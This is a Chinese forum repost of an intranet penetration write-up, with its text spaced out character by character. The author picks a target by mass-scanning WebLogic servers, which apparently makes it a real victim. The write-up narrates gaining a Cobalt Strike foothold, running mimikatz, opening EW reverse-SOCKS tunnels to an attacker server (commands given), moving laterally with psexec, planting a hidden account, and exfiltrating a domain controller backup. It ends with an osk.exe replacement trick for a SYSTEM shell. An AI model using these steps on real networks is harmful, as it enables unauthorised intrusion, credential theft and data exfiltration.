搜索

[21961] 2021-05-11_内网渗透【完整版】

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-05-11_内网渗透【完整版】 内 网 渗 透 【 完 整 版 】 转 自 安 全 先 师   L e m o n S e c   2 0 2 1 - 0 5 - 1 1 因 为 主 要 还 是 想 练 习 练 习 内 网 ， 所 以 用 了 最 简 单 粗 暴 的 方 法 去 找 寻 找 目 标 ， 利 用 因 为 主 要 还 是 想 练 习 练 习 内 网 ， 所 以 用 了 最 简 单 粗 暴 的 方 法 去 找 寻 找 目 标 ， 利 用 f o f a 来 批 量 了 一 波 来 批 量 了 一 波 w e b l o g i c ， 不 出 一 会 便 找 ， 不 出 一 会 便 找 到 了 目 标 。 到 了 目 标 。 简 单 的 看 了 下 机 器 环 境 ， 出 网 ， 没 有 杀 软 （ 后 面 发 现 实 际 是 有 一 个 很 小 众 的 防 火 墙 的 ， 但 是 不 拦 p o w e r s h e l l ） ， 有 内 网 环 境 。 所 以 这 里 直 接 尝 试 c s 自 带 的 S c r i p t e d   W e b   D e l i v e r y 模 块 ， 直 接 创 建 一 个 w e b 服 务 用 于 一 键 下 载 和 执 行 p o w e r s h e l l 。 运 行 刚 刚 生 成 的 p o w e r s h e l l
这 边 的 C S 成 功 上 线 。 这 里 我 们 先 来 看 看 系 统 的 信 息 。 根 据 上 面 的 可 知 服 务 器 是 2 0 1 2 的 ， 内 网 I P 段 在 1 9 2 . 1 6 8 . 2 0 0 . x 接 着 用 L a d o n 扫 了 下 内 网 环 境 。
这 个 内 网 段 机 器 不 多 ， 可 以 看 出 有 域 环 境 。 接 着 进 行 了 多 网 卡 检 测 ， w e b 检 测 。 可 以 看 出 这 个 内 网 有 多 个 网 段 ， 开 了 一 个 w e b 服 务 。 m i m i k a t z 只 读 到 了 一 个 用 户 跟 加 密 的 密 码 密 码 可 以 在 C M D 5 上 解 开 接 下 来 就 到 最 激 动 人 心 的 扫 描 M S 1 7 0 1 0 时 刻 ！ ！ ！
可 以 看 出 有 几 台 机 器 是 可 能 存 在 M S 1 7 0 1 0 的 ， 所 以 打 算 开 个 s o c k s 代 理 直 接 M S F 去 打 。 这 里 笔 者 劝 大 家 买 服 务 器 的 时 候 ， 尽 量 买 按 量 计 费 的 服 务 器 ， 不 要 像 笔 者 一 样 ， 贪 图 一 时 便 宜 ， 买 了 个 带 宽 只 有 1 M 的 H K 服 务 器 ， C S 自 带 的 s o c k s 代 理 开 了 ， 本 地 测 试 连 接 都 失 败 ， 更 别 说 其 他 操 作 了 。 所 以 这 里 ， 笔 者 只 能 临 时 开 了 个 按 量 计 费 的 服 务 器 ， 利 用 E W 重 新 开 了 一 条 隧 道 出 来 。 具 体 流 程 如 下 ： 把 e w 文 件 丢 上 刚 刚 开 的 服 务 器 ， 执 行 ： e w   - s   r c s o c k s   - l   1 9 0 0   - e   1 2 0 0 来 配 置 一 个 转 接 隧 道 ， 意 思 就 是 将 1 9 0 0 端 口 收 到 的 代 理 请 求 转 交 给 反 连 1 2 0 0 端 口 的 主 机 接 着 在 目 标 机 器 上 上 传 e w 文 件 ， 执 行 ： e w   - s   r s s o c k s   - d   x x x . x x x . x x x . x x x ( 上 方 创 建 的 服 务 器 I P )   - e   1 2 0 0 ， 开 启 目 标 主 机 s o c k s 5 服 务 并 反 向 连 接 到 中 转 机 器 的 1 2 0 0 端 口 ， 执 行 完 稍 等 会 就 可 以 看 到 多 了 一 行 连 接 完 成 。 接 着 只 需 要 在 本 地 配 置 下 代 理 就 O K 了 。 W i n d o w s 程 序 的 话 一 般 用 s o c k s c a p 配 置 以 下 这 个 代 理 就 好 了 。 因 为 我 们 要 用 的 是 本 地 虚 拟 机 里 面 的 k a l i 的 M S F ， k a l i 的 代 理 配 置 比 较 方 便 ， 先 v i m   / e t c / p r o x y c h a i n s . c o n f   ， 在 最 下 面 加 上 代 理 保 存 后 直 接 p r o x y c h a i n s   加 上 要 启 动 的 程 序 就 挂 上 代 理 了 。 比 如 我 们 m s f 要 挂 代 理 ， 就 直 接 ： p r o x y c h a i n s   m s f c o n s o l e 内 网 之 路 永 远 是 那 么 坎 坷 ， 在 经 历 了 一 番 换 E X P ， 换 工 具 + 摇 人 之 后 ， 确 定 了 M S 1 7 0 1 0 确 实 是 利 用 不 了 。 既 然 捷 径 走 不 了 ， 那 么 换 一 条 路 ， 从 w e b 入 手 。
试 了 下 弱 口 令 注 入 啥 的 ， 没 成 功 ， 谷 歌 翻 译 都 翻 译 不 过 来 ， 就 算 进 了 后 台 估 计 也 看 不 懂 ， 还 是 找 其 他 途 径 吧 。 于 是 进 一 步 开 始 信 息 搜 集 ： 查 看 保 存 登 陆 凭 证 ， 无 查 看 共 享 计 算 机 列 表 接 着 就 开 始 尝 试 访 问 共 享 计 算 机 的 C 盘
在 最 后 一 台 时 ， 发 现 成 功 访 问 了 P i n g 一 下 机 器 得 到 I P   1 9 2 . 1 6 8 . 2 0 0 . 6 右 键 一 个 b e a c o n 创 建 一 个 监 听 器
接 着 使 用 p s e x e c _ p s h 尝 试 上 线 1 9 2 . 1 6 8 . 2 0 0 . 6 这 台 服 务 器 成 功 上 线 接 下 来 就 对 新 上 线 的 机 器 做 一 波 信 息 搜 集 没 有 其 他 发 现 接 下 来 回 到 起 点 ， 看 看 这 个 网 段 里 面 还 有 哪 些 机 器
可 以 看 到 有 四 台 l i n u x 机 器 ， 分 别 是 2 2   ,   1   ,   5   ,   1 1 这 时 候 我 们 可 以 尝 试 一 波 弱 口 令 。 只 能 说 运 气 这 玩 意 儿 ， 用 一 点 就 少 一 点 简 单 的 查 看 了 进 程 之 类 的 信 息 ， 没 有 发 现 ， 虽 然 这 时 候 已 经 拿 下 了 内 网 得 两 台 机 器 ， 但 是 都 不 是 域 内 机 器 ， 其 他 的 l i n u x 主 机 测 试 弱 口 令 又 不 正 确 ， 这 时 又 陷 入 了 僵 局 。 这 时 候 ， 我 看 到 先 前 拿 下 的 . 6 的 那 台 机 器 名 为 v e e a m   b a c k u p , 猜 想 这 可 能 是 一 台 备 份 服 务 器 ， 他 的 硬 盘 内 可 能 有 备 份 文 件 ， 所 以 仔 细 检 查 了 一 下 他 的 每 个 文 件 夹 内 容 。 只 能 说 真 的 ， 运 气 这 玩 意 ， 该 来 的 时 候 挡 也 挡 不 住 。 在 D 盘 的 文 件 夹 下 ， 发 现 了 一 个 叫 B a c k u p 的 文 件 夹 ， 里 面 存 放 了 三 个 机 器 的 备 份 。 简 单 百 度 了 下 后 缀 ， 发 现 是 一 款 叫 V e e a m ®   B a c k u p   &   R e p l i c a t i o n 的 软 件 ， 他 的 功 能 是 专 门 为 V s p h e r e 等 做 备 份 。 一 瞬 间 我 的 思 路 就 清 晰 了 ， 只 需 要 在 本 地 安 装 V e e a m ®   B a c k u p   &   R e p l i c a t i o n 这 软 件 ， 再 将 这 台 D C 的 全 量 备 份 包 压 缩 传 到 本 地 ， 再 恢 复 成 虚 拟 机 ， 然 后 通 过 P E ， 用 C M D . E X E 重 命 名 覆 盖 了 O S K . e x e ， 这 样 子 就 可 以 在 登 录 界 面 调 出 s y s t e m 的 命 令 行 ， 再 想 办 法 添 加 管 理 员 账 户 或 者 修 改 管 理 员 账 户 进 入 界 面 ， 本 地 上 线 C S ， 再 进 行 h a s h d u m p 直 接 读 出 存 储 的 域 内 用 户 H A S H ， 在 通 过 P t h 就 可 以 直 接 拿 下 线 上 的 D C 了 。 说 干 就 干 ， 因 为 这 台 备 份 服 务 器 不 出 网 ， 但 是 他 和 2 1 这 台 出 网 机 器 有 一 个 共 享 文 件 夹 ， 为 了 方 便 行 事 ， 偷 偷 在 备 份 服 务 器 上 创 建 了 一 个 隐 藏 账 号 ， 直 接 7 z 把 最 新 的 一 个 D C 全 量 备 份 压 缩 成 7 0 0 M 一 个 的 压 缩 包 ， 全 部 放 到 了 共 享 文 件 夹 中 。 出 网 的 这 台 机 器 也 只 有 7 0 0 1 端 口 出 网 ， 所 以 找 到 了 w e b l o g i c 的 w e b 路 径 ， 从 共 享 文 件 夹 中 把 压 缩 包 都 放 进 了 w e b 路 径 中 ， 从 w e b 端 进 行 下 载 。 由 于 这 台 出 网 机 器 的 带 宽 实 在 是 太 低 了 ， 均 速 2 0 0 K ， 还 不 停 的 卡 掉 ， 在 经 过 了 漫 长 的 等 待 后 ， 终 于 下 了 下 来 。
在 这 漫 长 的 下 载 过 程 中 ， 我 先 一 步 本 机 下 载 下 了 V e e a m ®   B a c k u p   &   R e p l i c a t i o n 这 软 件 ， 突 然 发 现 一 个 很 有 意 思 的 地 方 ， 就 是 他 可 以 支 持 本 地 管 理 员 账 号 登 录 。 又 因 为 他 备 份 的 是 其 他 I P 的 虚 拟 机 ， 我 猜 想 他 应 该 是 登 陆 了 V s p h e r e 。 所 以 又 一 次 挂 代 理 连 上 去 看 看 。 果 然 猜 的 没 错 ， 芜 湖 起 飞 。 。 相 当 于 管 理 员 权 限 。 。 。 本 地 下 载 的 那 个 全 量 备 份 在 本 地 还 原 也 很 简 单 ， 只 需 要 装 了 软 件 双 击 就 回 自 动 打 开 软 件 。 还 原 完 成
接 下 来 就 简 单 了 。 下 载 老 毛 桃   ， 生 成 一 个 I S O 的 p e 工 具 箱 挂 载 到 虚 拟 机 中 ， 开 机 按 E S C 进 入 P E 后 ， 重 命 名 c m d . e x e 为 o s k . e x e 将 原 来 C 盘 中 的 w i n d o w s s y s t e m 3 2 o s k . e x e 给 覆 盖 了 ， 这 样 子 在 开 机 的 时 候 打 开 屏 幕 键 盘 就 会 弹 出 S Y S T E M 权 限 的 命 令 行 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理